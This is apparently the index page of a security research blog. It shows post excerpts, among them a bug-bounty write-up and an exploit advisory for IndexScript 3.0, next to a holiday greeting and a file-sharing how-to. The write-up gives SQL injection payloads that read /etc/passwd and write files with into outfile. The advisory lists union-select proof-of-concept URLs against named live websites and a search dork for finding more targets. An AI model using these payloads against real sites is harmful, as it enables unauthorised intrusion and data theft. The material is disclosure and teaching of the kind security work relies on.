Skip to main content

Research Blog

Search This Blog

LFI to RCE via access_log injection

on February 21, 2021 tutorial

Get link
Facebook
X
Pinterest
Email
Other Apps

..:: Season Greeting ::..

on December 24, 2009

Get link
Facebook
X
Pinterest
Email
Other Apps

M E R R Y C H R I S T M A S

A N D

H A P P Y N E W Y E A R

GOD BLESS YOU ALL

mixed

Get link
Facebook
X
Pinterest
Email
Other Apps

Comments

Popular Posts

SQL injection with load file and into outfile

Well this submission make me get the patient badge on h1 coz it’s more then 6 month (1 year) hehehehehe. I got sqli vulnerability when test with apostrophe (‘). Sorry for the redacted guys. 😛 I do register as affiliate on the web as usual. Then got redirect to POST all form information here https://www.blablabla.com/svc/*****/form_affiliate . Select it and send to repeater. The vulnerable parameter is email . On request box, i input this SQL command in “ email ” parameter ‘ and 1=2 union all select concat_ws(0x3a,version(),user(),database()) — and click Go (this command will show version, user and database name) The result is shown on response box “ 5.5.41-log:root@10.130.*.**:tp_cart ”. Now i try to change the SQL command with this load file command ‘ and 1=2 union all select load_file(‘/etc/passwd’) and boom! got the passwd. Change the load file command with into outfile command to create a file on /tmp ‘ and 1=2 union all select ‘blablabla_bug_bounty_program’ into outfile ‘/tmp/...

IndexScript 3.0 SQL Injection Vuln

[o] IndexScript 3.0 SQL Injection Vulnerability Software : IndexScript version 3.0 Vendor : http://www.indexscript.com/ Download : http://www.indexscript.com/download.php Author : NoGe Home : http://antisecurity.org [o] Vulnerable file more.php [o] Exploit http://localhost/[path]/more.php?cat_id=[SQL] [o] Proof of Concept http://texxsmith.com/directory/more.php?cat_id=-3+union+select+1,2,3,4,5,version(),database(),user(),9-- http://www.internetkatalogen.net/more.php?cat_id=-77+union+select+1,2,3,4,5,version(),database(),user(),9-- [o] Dork "powered by IndexScript"

#Howto Share Files Between #Windows, #Mac, and #Linux PCs on a #Network

Home file sharing used to be a nightmare, even between different versions of Windows — never mind Mac and Linux! These operating systems can now talk to each other and share files without any special software. We’ll be using the SMB protocol for this. Windows uses SMB for file sharing, while both Macs and popular Linux distributions have built-in support for SMB. Microsoft even submitted patches to the open-source Samba project to improve it! Share a Folder on Windows Tweak the other options here if you’d like to share public folders over the network without requiring a password.You’ll need to enable old-fashioned file sharing on Windows , as other operating systems can’t access homegroups. To do this, open the Control Panel and navigate to Network and Sharing > Change advanced sharing settings. Enable “network discovery” and “file and print sharing.” Locate the folder you want to share in Windows Explorer or File Explorer, right-click it...

Powered by Blogger

pacenoge